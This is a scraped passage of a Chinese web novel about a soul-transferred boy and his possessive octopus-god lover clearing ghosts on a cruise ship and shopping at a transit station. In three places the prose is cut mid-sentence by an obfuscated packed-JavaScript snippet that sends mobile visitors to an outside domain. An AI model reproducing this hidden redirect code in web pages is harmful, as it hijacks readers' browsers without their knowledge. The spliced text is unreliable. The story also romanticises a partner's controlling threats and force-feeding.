“你知道么,你如果有理,说的话就会非常简短,没理但没错,说话也就正常强度,甚至会无理取闹,但如果没理还有错,那说的话就会非常、非常多。” 塔尔斯将自己刚才说话的长度对比了一下之前,悲哀的发现自己是第三种情况,但同时,他心中也有点隐秘的高兴,连他日常的说话方式都总结出来了,这下子谁敢说满满不爱他? 嘴张张合合,狡辩的话到嘴边又被咽下,塔尔斯最后干脆直接承认了,“我说谎了,我是临时起意,但我敢做,就敢确保不会伤到你,满满,我从来没有想过伤害你的。” “我知道。” 宁小满睁开眼睛低头,看着塔尔斯紫色的脑袋,莫明想看看他此刻的表情,他想,所以他开口了,“能把我放到和你高度对等的位置吗?我想看看你的脸。” “啊、啊?哦哦,不不不,我这样不好看的,不符合你们人类的审美,等我能变成人形了,你看我人形的脸就好。” 宁小满失笑,“你还懂人类的审美?” “那当然了!” 他从出生起就知道自己以后会有一个人类新娘,闲暇无事时,总会琢磨一下人类的审美,当初化形时,他可是足足化了一年时间才打磨出他最满意的身材和脸! 听听这理直气壮的话,宁小满控制着新身体蹦哒两下,“如果我说我想看,也不给看吗?” “……给看的,但你不能嫌弃我。” “不嫌弃。” 两分钟后,站在床上处于同一水平面,宁小满看清了塔尔斯的模样,同时也弄清了自己的体积大小。 尽管早有预料,但他还是有点吃惊,本来以为会有塔尔斯一半大的,谁知道仅仅只有他四分之一大。 想想他附身的是什么,再想想塔尔斯之前糟蹋的那些,宁小满心底涌起一抹心疼,要是没浪费,直接雕成他另一个身体多好。 不过心疼归心疼,对于能看见了这一点宁小满还是挺高兴的,“谢谢。” “不用谢,亲吧。” “你……”宁小满无声叹息,每次都是这样,刚涌起点感动下一秒就被打破。 操控身体一点点挪动着来到塔尔斯面前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056637|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧唧一口,没亲到嘴上,亲到了大概是下巴的位置上。 “不怪我,是这具身体太矮了。” “知道不怪你,乖,想出去逛逛吗?” “不了吧。”所以物体上都缠绕着黑线,说实话,挺吓人的。 像是知道宁小满的顾虑一样,塔尔斯突然道:“闭眼。” 宁小满依言闭上眼睛,下一秒,眼皮的位置一热,再然后他就听塔尔斯接着道:“好了,可以睁开了。” “黑线,不见了?” “可以控制,”塔尔斯顿了顿后接着道:“你也可以,后面满满教你,现在出去逛逛?” “嗯!” 听到宁小满答应,塔尔斯开心一笑,触手捧着如今小小的爱人放到头顶,顶开窗户就飞了出去。 他们俩前一秒离开,被落在仓库的盲杖就摸了回来,回来后看着空无一人的房子,盲杖原地躺倒:累了,毁灭吧,说真的,杀千刀的主意识,小心眼中的小心眼,服了! “哇啊,太快了,眼睛要睁不开了!” “快吗?那我慢点,现在还快吗?” 感受着面部的冷风小了,宁小满睁开眼睛看看四周不再飞速掠过的景色,摇了摇头,想到他这样塔尔斯看不见又连忙开口道:“不快了。” “好,那就保持这个速度,看看周围有没有什么好奇的东西,有的话告诉我,我凑近些让你看。” “咱两个这样,要是被发现了怎么办?”宁小满心存疑虑的问道。 “看不见的,行走的不是一个空间。” “什么?” “简单来说,就是看似在一个空间,但实际上因为我的特殊性,咱们两个是在一个单独的空间内的。” “会有什么影响吗?” “有很多,第一个就是外边那个空间的看不见我们,第二个嘛,嘿嘿,不告诉你~” “……你这样很欠揍。” “那你打我吧,我受得住。” “不打,”他嫌累,“往左飞一些,那是什么颜色?” “橙色,跟落日差不多的颜色。” “那个呢?” “绿色。” …… 问题很多,但塔尔斯并不觉得烦,相反,他很高兴,他的爱人需要他回答问题,而他恰好也知道那些问题的答案。 高高兴兴逛了一圈,最后去后厨顺了点做好的饭菜,塔尔斯带着小小的爱人返程了。 回到房间,平复了一下兴奋的心情,宁小满靠在沙发背上,一边控制自己不要陷入沙发缝隙内一边出神想道:没了自由行走的身体,却有了一双可以看见万物的眼睛,这就是爸爸妈妈说的有得必有失吗? “满满,尝尝这个,啊——” 宁小满张嘴吞下塔尔斯递过来的鱼肉,没怎么咀嚼就咽了下去,“味道还不错。” “满满,为什么同样是非人形态,你的牙齿是平的我的牙齿就是尖的?” 根本就没留意这方面的宁小满被问的一头雾水,“你为什么会留意这个?” “因为我体贴入微?”塔尔斯不怎么确定的说道。 “哎呀,不说这个,你张开嘴,让我看看好不好?”顺带着研究研究…… 29.亡海游轮10 “不。” “哎呀,就研究一下下,一下下,我保证不乱碰!” 宁小满直视塔尔斯,小步小步的往后退,生动形象的表明了自己对他的不信任。 “不让就不让嘛,退什么退,满满不信任我,我要生气了,哼——” 塔尔斯一边说一边拿眼睛瞥宁小满,擎等着他的爱人哄他,谁知道等了半天没等到轻声细语的哄劝,等到了整个陷进沙发缝隙内睡觉的小团子。 人睡了,塔尔斯强撑起来的生气架势瞬间散了个一干二净,站在原地观望两秒,吧嗒吧嗒跑过去,将陷进缝隙内的小团子捞出放到头顶,顶着他径直回了床铺。 小章鱼包裹着小团子,两个萌物头对头就这样睡了过去。 同一时间,塔尔斯的老巢,庞大到几乎占据近海所有地方的本体像是感应到了什么一样,自打规则怪谈开始就没怎么动过宛如石化了一样的身躯突然有了反应。 一根触手钻出水面,在空中晃荡两下,径直朝着目的地疾驰而去。 一分钟后,触手卷着什么回到海面,海面凝结冰霜,用以安置触手带回的爱人。 冰床落地,荡起一片冰霜。 潜伏在海中的本体感受着海面爱人的存在,血红色的身体闪过一层微光,微光散尽,身体已经变为了和小章鱼一样的紫色。 海风阵阵,波光粼粼,端的是一副岁月静好的模样。 再说这边,一觉睡醒,塔尔斯已经在很宁小满商量怎么快速通关了。 听完塔尔斯的计划,宁小满张张嘴,有些不可思议的问道:“你确定我可以?” 这真不是宁小满想质疑自己,而是让他一个人干掉这一游轮的诡异,比之登天倒是登天更简单些,毕竟他昨天刚被塔尔斯带着在天上飞过。 “满满,相信自己,你可以的。” 说着,塔尔斯半眯着眼睛对不远处的盲杖招了招手,盲杖千般不愿万般不想却是不敢不过来,盲杖在塔尔斯的驱使下变为一根牙签,嗯,没错,就是牙签。 塔尔斯将牙签……啊不,武器塞到爱人手中,一本正经地道:“很简单的,一会我带着你,你拿着它,路过诡异时往他们身上冒黑气最浓重的地方一刺,一个诡异就解决了。” 宁小满抽搐着嘴角问道:“你把他们当虾啊?” “他们不瞎,但他们看不见我们,原理就和昨天跟你说的一样。” 宁小满无力瘫倒,握紧手里面的牙签,没跟塔尔斯解释他们两个说的“虾”和“瞎”根本不是一个,而是实力表明自己摆烂了。 “呀!你干嘛!” “玩啊。” 宁小满扑腾着被塔尔斯放到头上,伴随着塔尔斯的骤然起飞不得不伏低身子趴在他头上。 “你放我下去,我不跟你玩!” “噫噫呜呜,不要嘛,满满不跟我玩我会脱水变成章鱼干的,咕噜~安啦,我跟着你呢,就算是打不过咱们两个还能跑,怕什么!” “……把逃跑挂在嘴边,你是真不觉得有什么啊。” “胜者为王,败者逃跑,很正常的事,我当然不觉得有什么啦~” 远远瞟见底下有一个诡异,塔尔斯降低飞行高度和飞行速度来到那诡异近侧,直接将宁小满送到了他的弱点旁边,“满满,刺!” “啊?哦哦,刺了,然后……” 然后就没有然后了,因为宁小满看见他刚才刺过的诡异化成一缕黑烟被风一吹就消散在了空中。 “这、他?为什么没有尸体?”上个怪谈的诡异爸妈明明有尸体的,血溅到他脸上的感觉至今令他记忆犹新。 “他是鬼,没有尸体很正常。” “鬼?和诡有什么区别?” “一个完全能量体一个半能量体还有肉身拖累的区别?” 拽这么多代替,直接说一个有尸体一个没有尸体不就完了嘛,不对,上面好像说了……深觉变小后脑细胞不够用了的宁小满果断放弃了思考,只要他放弃的够快,那么困扰就追不上他。 不管怎么说,没有尸体仅仅只是一缕黑烟,为他一会大开杀戒打下了一个良好的基础,要是有尸体看着属于人类的尸体他多少会有点害怕,现在嘛…… 猎杀时刻,开始了! 宁小满握紧自己的小牙签开始了游轮杀鬼之旅,一牙签一个,杀到最后,宁小满莫明有种化身为古代大侠的感觉。 —— “…………” “不知道为什么,看着很肃杀的画面,就是莫明让人想笑。” “这小牙签还挺厉害,杀诡跟挑虾线一样。” “不儿,我寻思着,这也不肃杀啊?” “看完别的直播间再看回来,割裂感很重的样子。” “别的直播间:啊啊啊——人类来了,大家伙快上啊!晚了就分不到一口吃的了。 咱们直播间:啊啊啊——闹鬼了,刚刚还在跟我说话的诡不见了,救救……(突然想起)哎?我就是诡,我害怕什么? 下一秒,被咱们的天选者拿着正义牙签击杀。” —— “戎马”一天归来,宁小满只觉小短手都要断了,眼神呆滞的望着天花板,靠在抱枕上张嘴吃下塔尔斯喂过来的虾,嚼两下,停一会,嚼两下,再停一会,那磨蹭样看的塔尔斯心急的慌。 “满满,别发呆了,吃东西。” “我……不想吃,我想睡觉,累——” 塔尔斯心里面盘算一下今天杀的鬼数,艰难的做了决定,“那,明天休息一天,后天再去杀鬼,可以吧?” 宁小满幽幽看向塔尔斯,“就不能一直休息?” 塔尔斯不解,“可是满满之前不是对杀鬼这事很热衷吗?” 为此还求他想趁着取餐时杀…… “我是想杀鬼!但不是这个杀法啊!今天一天下来,我感觉我整个人都沦为了无情的挑虾线工具!” 宁小满气愤的在沙发上蹦哒两下,余光瞥见桌上的晚餐,更气了,因为晚餐是全虾宴! 看着气氛的小团子,塔尔斯三颗心一同软成了团子状,两根触手缠住爱人在空中晃了晃,随后又带到身前,哄道:“这 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“好吧,动物园不想去,那满满想不想快点回家?” “想!” “想不想当第一?” “想!” “所以,咱们明天应该……?” “杀鬼。”宁小满有气无力的回道,半分没有刚才说想时的气势。 看着陡然蔫了的爱人,塔尔斯眼睛一转,凑过去小声耳语道:“快速通关回到中转站后,我带你去买买买发泄情绪好不好?” “我……好。” 他其实对逛街买买买并没有什么兴趣,他会用到的东西爸妈都是早早给他准备好,什么都不缺,外加外出不太方便,自然就没有那个兴趣。 宁小满想,可以去逛一会,然后借口累了直接回去。 吃饱喝足被带着在洗手池里面洗了个澡躺到被窝中,宁小满翻个身面对着塔尔斯,眼神迷离的看着他的触手,总感觉他好像忘了点什么。 翌日,一大早就被拉起来杀鬼的宁小满抬脚踢说话不算话的塔尔斯,“骗子,不是说今天休息的么!” “是说了,但是后边满满亲口说了今天要杀鬼。” 宁小满怨气陡然暴增,“你……” 看着近在咫尺的灰色眼睛,宁小满眨了眨眼,反应过来什么,慌忙闭上眼睛。 塔尔斯轻笑一声,挪开身子,拍拍因为害羞而变成淡粉色的小团子,暗中记录下这样的爱人后,若无其事地哄着害羞的爱人吃东西。 这场景,任谁看都是一副萌物投喂图。 嗯,前提是忽略投喂的那个心中阴暗的想法和被投喂的那个脑子宕机无法思考。 塔尔斯一边投喂一边道:“今天和昨天一样,清扫房间内的鬼,外边那些鬼继续放给不管,以免打草惊蛇。” “好哦,我没有意见。” “乖,再吃点来。” 宁小满就着塔尔斯的触手吃他递过来的东西,一口接着一口,吃的那个开心,喂的那个也开心。 30.亡海游轮11(完) 清了六天小兵,清的宁小满是看见有人形的东西就烦,而且变得格外听不得杀这个字,一听到就让他想起这几天宛如上班般格外忙碌的生活。 是夜,宁小满躺在床上望着天花板,眼神呆滞,他想不明白,他实在是想不明白。 事情为什么会沦落到这个地步…… “塔尔,我想,我有点懂我爸爸为什么宁愿窝在家里面都不去上班了。” 宁小满说话时塔尔斯正拿着一小块布在缝小裙子,闻言裙子也不缝了,凑过去就是问:“为什么?” “因为上班很累,真的、真的很累。” “可是满满没有上班啊,就只是杀些小鬼而已。” “而已?”宁小满被气笑了,“一天五千只,你去问问挑虾线工人……哦不,现在挑虾线都用不到人了,都是机器干,我却还在重复着一模一样的动作。” “嗯,”塔尔斯沉吟两秒,“满满,说实话,我以为你会享受的。” “享受什么?” 他疯了才会享受这一睁眼就是干的日子,宁小满暴躁的想道。 “杀戮,我本身而言,就挺享受的,换位思考,我觉得你也会喜欢。” 槽多无口,宁小满愣了半天才道:“换位思考不是这样的,你这是代入模板,况且,万事不是只有你觉得,别人也有自己的感觉。” “啊、啊~是这样吗?” “嗯,是这样的。” 可是,记忆和本能都在告诉他,不是这样的呢~ 室内的灯光骤然熄灭,塔尔斯将触手搭在爱人身上,一双灰眸在黑暗中仍散发着微光,“时间不早了,睡觉吧,明天就是最后一天了,结束后下个怪谈咱们换个办法通关。” 静默在室内蔓延,一时间耳边只能听见外边海风呼啸的声音,这股静给人一种室内之人已然入睡的错觉,但身处其中的宁小满和塔尔斯却知道对方都没有睡。 塔尔斯靠感知,宁小满则是靠眼睛。 不是自己的终归不是自己的,即使被他所使用所传导的却大多是其主人的心绪。 塔尔斯真正睡着时是什么样宁小满不知道,但他知道塔尔斯没睡时是什么样的。 眼睛在眼皮下发着烫,心绪难平间,宁小满恍然感觉到了塔尔斯内心的想法,阵阵呓语,翻来覆去却都是他的名姓,恍惚间,有种被拆吃入腹的感觉。 不知道过了多久,终于听到平稳呼吸声的塔尔斯嘴角勾起一抹恶劣的笑。 仅依靠他的眼睛就能反窥他内心的想法,不愧是他的爱人,就是不知道听到刚才那些故意反复回想的疯狂想法有没有吓到。 塔尔斯眯着眼睛想,应该是有的吧,毕竟小团子刚才有一瞬间的身体僵硬,身体反应最是能够反应内心。 不过就算是吓到又如何,总归还是只能困在他身边。 能够重新看见世界的诱惑,足以将他们两个永远捆在一起了。 没有意识体存在的那根触手缓缓抚过眼睛下方,若是不能,就只能再添一道他为他甘愿失明的筹码…… 【不可以,愧疚,伤心。】 【强迫,不好。】 听着脑海中义正言辞的规劝,塔尔斯嗤笑着回道:一个个,装了几天好的就真以为自己是好的了? 一群见风使舵的玩意,同为一体,他再清楚不过他们的德性了。 别看这会一个个正义凛然,他干的桩桩件件杀戮事,哪个没有他们的从旁协助? 就好比这次,他挖眼睛给满满安,一个个比他这个主意识还要迫不及待,知道满满能看见了,一个个恨不得把自己装扮成新郎官让满满选个够。 呵—— “咳咳,你们不能杀我,你们若是杀了我,典狱长……” 宁小满甩甩不染纤尘的牙签,装模作样在上面吹了一口气,转头时对上塔尔斯认真的目光浑身上下刷的一下红了个彻底。 “咳,塔尔,你知道他说的典狱长是谁吗?” “知道,一个该死的家伙。” “兔国玩家宁小满打穿怪谈,达成第二个结局,恭喜玩家通关《亡海游轮》怪谈,现将玩家传送至中转站进行休息,奖励稍后送达。 传送中……主体错误,再次传送……主体错误、主体错误……重新确认中,传送成功。” 回到中转站看着一片灰色的房间,宁小满开始在脑中构思,随着他的构思,房间内逐渐染上了色彩。 灰色的墙壁变成杏黄色,床则是乳白色,床上的床单什么的则是天蓝色,木板是和墙壁一样的杏黄色,再然后是书柜、墙角的玩偶…… 塔尔斯游到这里拍拍,再游到那里摸摸,心情十分愉悦的夸赞道:“不愧是满满的房间,一片灰色的时候好看,有了颜色后就更是天上地下少有了。” “……谢谢。”实际上可以不用硬夸的,他的房间他清楚。 因为他看不见,为了防止他半夜起来被什么东西绊倒,所以一应家具是能少就少,比之正常人的房间可以说的上简陋。 若是简单夸一个色调温馨他还可以厚着脸皮陪说两句,天上地下少有却是不敢应的。 往前挪动亲了下递过来的触手,想到什么,宁小满突然问道:“我比他们通关早那么多,会比他们先进入下一个怪谈吗?” “不会,老家伙会调时间,按照他以往的风格习惯,大概率会调慢中转站的时间。” “这样啊。” 他还以为能够领先一步……等等,“你知道早通关和晚通关没什么差别,为什么不早告诉我!” “满满也没问啊。”塔尔斯满脸无辜的说道。 要说差别,还是有的吧,就主观意识上的时间差不一样也是不一样嘛…… 看着他无辜的脸宁小满一股无名火自心口涌起,忍不住一个飞扑抱住塔尔斯的一根触手,张嘴就咬了下去。 “嘶……” 听到嘶声,宁小满有些得意的想道:知道疼了吧,看你下次还敢不敢装无辜,敢不敢想那些乱七八糟的东西…… 还没想完,后脑勺就被另一根触手轻轻摸了摸,“乖,我把周身的防护撤了,刚才那下没感觉到,再来一次。” 塔尔斯想了想又补充了三个字:“使点劲。” 宁小满气急败坏的松开嘴,一小团气呼呼的走到枕头边生闷气去了。 塔尔斯见状连忙跟上,他跟宁小满就走,走着走着就陷进缝里面了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064232|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被救出来后宁小满因为不好意思整个团直接红温,声音带着哭腔:“我不要这个身体了,我要我原来的身体,原来的身体!” “呃……这个可能有点不太方便。” 塔尔斯摸了摸鼻尖小声解释道:“灵魂转移他是一个大事,你知道的吧?” “我不知道!” “咳,因为大,所以它不能接连使用,对灵魂有损伤,所以吧,想换回去,大概需要一个月时间。” 听到时间这么久,宁小满绝望瘫倒,闭上眼睛转过身不看塔尔斯,瓮声瓮气道:“你走,不想看见你。” 塔尔斯闻言眼神一暗,按下跳起来的两根触手,凑过去柔声哄道:“生气了?我给你赔罪,带你去外边玩好不好?” “去外边玩是你之前就承诺过了的,现在你想一事二用?”宁小满睁开眼睛愤愤道。 “没没没,我一时间忘了,这样,我、我给你做衣服,做一大堆!” “你做的都是裙子,我不要。” 塔尔斯眼含笑意扯扯宁小满的手,调侃道:“那裤子满满现在这样也穿不上啊。” “怪谁?” “我,怪我,好啦,别气了,来,我带你出去玩。” 宁小满缓缓转过身看了一眼塔尔斯,低下头张开手,“抱我。” “好,抱你,一路都抱着你。” “不是,是抱我放到你头顶……” “哦~想骑我头上啊,可以,但不是现在。” “你故意曲解我的意思,接下来咱们两个不要说话了!” “不要嘛不要嘛,不要不说话,我以后会收敛的,嘻嘻……” ——(网友自开论坛) “这怪谈,结束的好草率,感觉里面有些线存在,都不往下深挖吗?” “那船员身上就感觉有另一根线,结果也被挑虾线一样挑了,可惜。” “还有还有,那老头最后说什么典狱长,满宝还问了三星,也不知道三星说没说身份。” “应该是说了的,三星别的不说,对满宝是一等一的好。” “别说三星了,快去看骆驼国叫马文那人的直播间,他开出另一条线了!” “OK啊OK,马上就去看!” (看完后回来的讨论) “sss级财使诡通这技能简直bug。” “谁说不是呢,抓着一把诡币就往下撒,遇到要吃他的就塞一把诡币过去,硬生生靠钱搞出了地图、一条船和足够支撑一个月的食物,全搞完更是一点不含糊,开着船就出发找荒岛去了。” “说实话,我感觉他这个技能,在游轮上作用更大,毕竟钱在有人的地方才能施展用处。” “这特么还不是最bug,操,熊国那个劳恩,技能圣斗士,仗着能无限次复活,杀鬼时没一点顾忌,据他们国家的人统计,一游轮的鬼已经杀没了十分之一,那完全就是一个不服就干的个性。” “估摸着是准备打穿怪谈通关了,对了,有人关注技能是预演的那个天选者了吗?” “没吧……” —— 塔尔斯小心翼翼的贴过去,“满满~” “走开啊,说不要就是不要!” 31.中转站1 宁小满退后几步,满脸戒备的瞅着塔尔斯道:“你要是敢买,咱们两个就分手!” “满满,不可以说分手哦。” 塔尔斯沉着脸将坠满宝石的裙子扔到一边,“不可以哦~要不然我会干什么我也不知道呢。” 宁小满垂眸抿唇,不回话。 塔尔斯轻叹出声:“好了好了,我错了,咱们去看正常男装好不好?” “……嗯。” 塔尔斯将爱人放到头顶,边往男装区游边道:“我做了什么满满不喜欢的事满满直接跟我说,我会改,但是不能用分手做为威胁,我不喜欢。” “你不喜欢的,我都不可以做吗?” 那到底是在找爱人还是在找一个听话的宠物?宁小满满心疑惑不知道找谁说。 “不,其他不喜欢的随意,只有分手不可以,如果以后结婚了,离婚也不可以,我可以接受满满所有的小脾气,前提是永远绑在一起。” 他这么说,倒是把宁小满潜藏的叛逆心激出来了,“如果以后感情破裂了也不可以?你怎么……”这么霸道。 “没有破裂。” 宁小满默了两秒,倔强的将没有说出口的话删减后说了出来,“霸道。” “独裁。” “还好,男装区到了,看看喜欢哪件。” 宁小满抬头环顾一圈,再低头看看自己圆鼓鼓的肚子,“好像都不太合适。” “咱们两个现在的体型不适合穿这些,裙子是最适合穿的。” “我不喜欢裙子,而且一个男孩子穿裙子,很尴尬。” 塔尔斯想了想问道:“如果我和你一起穿,尴尬会好吗?” “啊?”宁小满目光游移,“你和我一起穿?” “嗯,一个人穿尴尬,两个人穿就不会了。” “你先等等,让我脑子转转弯……” 穿裙子尴尬是肯定的,但如果塔尔斯陪着他一起……想想Q版小章鱼穿裙子的画面,宁小满觉得自己也不是不能接受。 而且,邪神哎!陪他一起女装,怎么想都是赚了好吧? 宁小满眼一闭一睁,“穿了!走,买裙子去。” “好哎!”塔尔斯欢呼一声,害怕爱人反悔,飞奔回女装区,八根触手一个不闲,抓起早就看好的十几件裙子就去结账。 挑拣到结账,全程花费一分钟。 宁小满目瞪口呆地看着塔尔斯手中的十几个购物袋,不可置信的轻声呢喃道:“这么速度的吗?” “唔,还好啦,能玩时间不多,早点买好衣服就能早点去其他地方不是?” “道理是这么个道理……” “有理就行,换上再出去?” 话是询问的,动作是毫不迟疑的,待到宁小满反应过来他们两个已经在换衣间了。 宁小满晃荡着几乎看不见的短腿,任由塔尔斯从上往下给他套裙子,裙子是淡蓝色,和他现在的乳白色并不冲突,套在一起也不显得串色,反而有种相得益彰的感觉。 换好衣服后,宁小满对着镜子照了照,欣赏够自己现在的萌色后,转向穿衣服的塔尔斯问:“这里有衣服我能理解,但为什么连这么小、这么猎奇的衣服都有?” “诡异的存在就是很猎奇啊。” 塔尔斯扯扯身上的白色裙子,因为身体被束缚,心里面隐隐有些烦躁,但那丝烦躁在看到爱人穿着小裙子的样子后瞬间化为泡影。 烦躁什么烦躁,他现在整个神美的冒泡。 抱起自己的美团子放到头顶,塔尔斯抬头挺胸,一脸骄傲地照了照镜子,“满满好看,衬的衣服都比之前好看了。” “塔尔也、也不错。”宁小满闭了闭眼,原谅他吧,违心话他属实夸不出嘴。 好在塔尔斯也不在意,到了他这个层次,自身什么样都是虚幻,眼中所能看见的更是极少,鲜少有能看得上眼的人、诡或者是物,所以比及自身,他更关注宁小满身上的变化。 欣赏完爱人的美貌,塔尔斯悠哉悠哉地游出商场,带他去了小吃街——不血腥版的。 上次来时宁小满看不见听又不真切,对这里根本就不了解,是以这次出来倒是跟第一次出来一样,左右勾头观望。 突然,看到什么令宁小满猛地一凝,“那边是什么情况!” 塔尔斯头也不转地回道:“怪谈世界东边的空间壁垒薄弱,时常会连接两界,卷进来些其他世界的生物,上次连接在三天前,卷进来的是……” “一些类人生物。” 类人不是人,但看他们有着与人类相似的面容和躯体,却在诡异手下如同牛羊一样被开膛破肚的宰杀,宁小满就觉一阵寒意从下往上侵袭,直至全身。 感知到宁小满此刻的情绪,塔尔斯垂眸淡淡道:“他们不是人。” “但他们和人类很像……” “满满是害怕沦落到他们那个地步吗?” 物伤其类嘛,他懂。 问出的问题没有回答,塔尔斯浑不在意,接着道:“不要害怕,那不可能发生,我在。” “怪谈世界会和我所在那个世界合并吗?” “不会,那个世界内有存在不会允许它发生。” “所以,怪谈祂,实际上是想的,对吗?” “满满,怪谈世界生活所有诡异都是贪婪的,世界作为容纳他们的器具,亦是。” 宁小满点点头,“明白了。” 到底明白什么宁小满没说,塔尔斯也没问,总归不会是什么深奥的东西。 看见了不好的东西坏了心情,宁小满没了继续逛下去的心思,跺跺脚,直白道:“回去吧,我不想逛了。” “前面不远处有卖零食的,买点回去留给你闲着吃。” “也行。” 买了一大堆东西的两人空着手就回了中转站,宁小满被塔尔斯放到地毯上,歪头示意塔尔斯将买来的零食拿出来,他要挑个现在吃。 “喏,挑吧。” 宁小满埋身进大袋子中,嘴里面嘀嘀咕咕着这个不好、那个不要,看的塔尔斯在一边好笑极了,再怎么不好不都是刚才自己亲手挑的嘛,这会子说这话跟挑衅自己刚才的观点一样。 “唔……跳好喽,省下的收齐来吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068845|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“可以拿出来一袋再掉头去拿另一袋的,你这……”嘴上叼着手上拿着像什么样? 宁小满眨巴眨巴大眼睛,塔尔斯就无奈扶额妥协了,“啧,算了,当我什么都没说,吃去吧。” “好哦。” 塔尔斯将剩下的零食挥挥手收进空间,走到宁小满身边抬起触手缠住他大概是腰的位置轻轻揉了揉,下一秒眉头皱起,“瘦了。” “胡说,怎么可能瘦,这又不是我原来的身体!” 说到原来的身体,宁小满蓦地有些担心:“一个月不吃不喝,我原来的身体不会饿断气吧?” “哈,真不知道该说你心大还是心细。” 心大吧,那确实,身体都送走七天了才想起来问不吃饭会不会饿断气;心细吧,也有点,好歹想起来问了不是? “灵魂和身体想通,你这边进食那边也能得到营养供给,所以放心吧,不会出现饿断气这种情况。” “呼—这样我就放心了,”宁小满放松身体靠回塔尔斯身上,抬头对他讨好地笑笑:“要吃吗?” “不吃,等等,上次待在中转站我是不是说过下次让满满吃上我的触手?” “是说过,但没事,不着急的,亡海游轮那个怪谈过的急,塔尔没时间练习厨艺,我都知道的。” “那不行,不能说话不算话。” 宁小满不想亲眼见证塔尔斯炸厨房,放下手中零食站起身环顾(地面)一圈,摊摊手无奈道:“这里没有厨房,而且我也不知道厨房里面的器具是什么样,没办法靠想象变出来。” “上个怪谈,我去后厨逛过,听厨师鬼说,海里面的东西大部分都可以做生腌,顺带还调好了一盆生腌汁,我当时就盘算着这个做法不错,既不用生火也不用厨具,顺走了一部分生腌汁。” 听着塔尔斯的叙说,宁小满咽着口水后退两部,哆嗦着回道:“生的海鲜有寄生虫……” “这个满满不用担心,我可以保证我的肉里面没有寄生虫。” 塔尔斯说着掏出和他身体一半大的盆出来放到一边,忽视脑海中争先恐后的自荐声,垂眸扫视一圈,径直将没有意识体存在的那根触手拽了下来。 尽管之前就知道塔尔斯可以断腕,也亲手拿过那根断腕,但到底没有亲眼看见过,现如今亲眼看见宁小满不可避免被吓了一跳。 眼神小心避过脱离了主体还在扭动的触手,看向一边,“我吃了不少零食,一会就不吃了吧。” “可以,正好第一次我先尝尝味,好吃下次再给满满吃。” 宁小满嘴唇张张合合,到底是没说什么,论有个一言不合就自己吃自己的对象该怎么办?以后不爱了会不会变大一口把他吞下去? 塔尔斯并不知道爱人所想,刷刷刷几下将断掉的触手片成薄片扔到生腌汁中,又凝了一大块冰包裹住盆不再管,抱着宁小满就上了床。 宁小满有些惊喜的问道,“你不吃了?” “吃,但生腌得多泡一会才好吃。” 还是要吃啊——自己吃自己,这多少有点惊悚了吧?宁小满扯着嘴角勉强笑笑,心累的不想说话。 32.中转站2 半个小时后,塔尔斯抱着一盆生腌委委屈屈的坐在床头柜上,“满满真的不吃吗?” “不吃!”宁小满果断拒绝。 “可是……它很好吃哎。” 塔尔斯晃晃触手尖上挂着的薄片,企图诱惑躲在床角的宁小满,“入口即化,味道鲜美,和任何一种海鲜味道都不一样,满满真的、真的不想试试看吗?” 宁小满心想:这不废话嘛,他肯定不吃啊,这又不是普通的章鱼肉,这可是…… “唔!” “味道怎么样?” 宁小满皱巴着一张脸看向不知道什么时候摸过来的塔尔斯,晃了晃脸,企图把脸上的触手晃掉。 但塔尔斯也不是吃素的,他晃了半天也没有晃掉,直到“咕嘟”一声清楚地传到耳朵中,塔尔斯才眼含笑意的收了触手,期待地问道:“怎么样?” 宁小满沉吟两秒,“咽的太快,没尝出来味道,可以再尝一片吗?” 塔尔斯微愣,旋即莞尔道:“可以,当然可以啦!” 又一片入口,细细品味过后宁小满给出了最高评价:“很好吃,和所有海鲜味道都不一样。” “哈——喜欢就好,再来点?” 一片是吃两片是吃,再多也是吃,面对塔尔斯再来点的要求宁小满果断点头。 美美一餐,仅需五根触手,没错,就是五根,一根不够他们俩吃,后续塔尔斯又薅了四根下来。 八爪章鱼秒变四爪章鱼的画面映在眼中,说时迟那时快,宁小满意念一动手中就多了个拍立得相机。 就此,四爪章鱼也算是在世界上留下了一张纪念照片。 吃饱喝足,塔尔斯抱着不大的团子窝在宁小满想象出的猫窝中,蹭蹭他的脸,懒懒地伸出触手:“照片,我看看。” “给你可以,先说好,你不能撕。” “嗯。” 听到塔尔斯答应,宁小满方将一直攥在手里防止塔尔斯毁尸灭迹的照片递过去。 塔尔斯接过看了两眼递还回去,并点评道:“我不怎么好看,但满满的拍照技术不错。” “谢谢?”宁小满呆呆的道谢。 “谢什么?” “你夸我拍照技术不错……” 塔尔斯眼睛一转,凑到宁小满耳边叽叽咕咕说了一大堆,退开后充满期待的看着宁小满,“来,按照我刚才教你的,重说一遍。” “我、我……我说不出来,要不算了吧。” 